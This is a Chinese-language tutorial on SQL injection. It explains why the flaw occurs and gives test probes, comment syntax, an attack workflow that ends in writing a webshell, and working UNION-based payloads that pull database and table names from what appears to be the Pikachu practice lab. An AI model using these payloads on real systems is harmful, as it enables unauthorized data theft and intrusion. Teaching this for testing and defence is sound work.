SQL注入漏洞
漏洞描述
web程序对用户提交的参数没有做过滤就直接放到SQL语句中执行，导致参数中的特殊字符打破了sql语句原有的逻辑，黑客就可以利用这个漏洞执行任意sql语句，比如增删改查
测试方法：
在发现有可控参数的地方使用sqlmap进行SQL注入检查，简单的可以手工测试，利用单引号、and 1=1 和 1=2
SQL注入的原理
sql注入漏洞产生需要满足两个条件
- 参数可控，从前端给后端的参数内容是用户可以控制的
- 参数带入数据库查询的：传入的参数会拼接到sql语句中，并且带入数据查询
当传入的参数为1'的时候：
select * from users where id=1'
此语句不符合语法规范会报错
当用户传入的参数1 and 1=1时
select * from users where id =1 and 1=1
因为1=1是真，所以会返回id是1的结果
判断是否存在注入
- id=1 and 1=1
- id=1 and 1=2
- id=1' or '1'='1'
- id=1" or "1"="1"
sql注释符
- --空格：单行注释
- #：单行注释
- /* 内容 */：多行注释
注入流程：
-
判断是否存在注入
-
判断字段数
-
确定回显点
-
查询数据库信息
- vince' union select database(),user() --
-
写入webshell
关于mysql注入相关的知识
在mysql5.0版本以后，MySQL默认有一个数据库叫information_schema库，库中有很多表，重点是这三个表：
- schemata
- schema_name字段，记录的所有库的名字
- tables
- table_schema 库的名字
- table_name 表的名字
- columns
- table_schema 库的名字
- table_name 表的名字
- column_name 字段的名字
union联合注入
联合查询注入是两个表进行注入攻击，使用关键词union select 对两个表进行联合，两个表的字段数量要一样，不然会报错
案例：
select * from students where stuid=1 union select 1,2,3,4,5,6 --
将union后面的数字可以替换成函数
select * from students where stuid=1 union select database(),2,3,4,5,6 --
union联合注入
1.判断sql注入
2.判断字段数
3.用联合注入获取敏感信息
vince' union select database(),2 --
获取到数据库名：pikejiu
4.获取表名
函数group_concat() #将字段分组并拼接成一个字符串（一行输出）
vince' union select (select group_concat(table_name) from information_schema.tables where table_schema="pikajiu"),2 --
获取单的表名：httpinfo,member,message,users,xssblind